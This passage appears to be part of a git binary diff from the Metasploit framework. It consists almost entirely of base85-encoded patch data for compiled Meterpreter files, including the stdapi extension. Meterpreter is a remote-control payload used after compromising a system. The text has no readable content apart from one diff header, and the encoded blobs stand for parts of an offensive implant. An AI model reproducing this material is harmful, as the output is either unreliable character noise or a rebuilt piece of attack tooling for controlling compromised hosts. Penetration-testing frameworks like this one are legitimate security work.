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 diff --git a/data/meterpreter/ext_server_stdapi.lso b/data/meterpreter/ext_server_stdapi.lso index f4b0096b1bab829863bf95c7aa9eac5ef19d2c1d..a4a50425f5968652e36a889ca7b30d6c6045900b 100755 GIT binary patch literal 69298 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 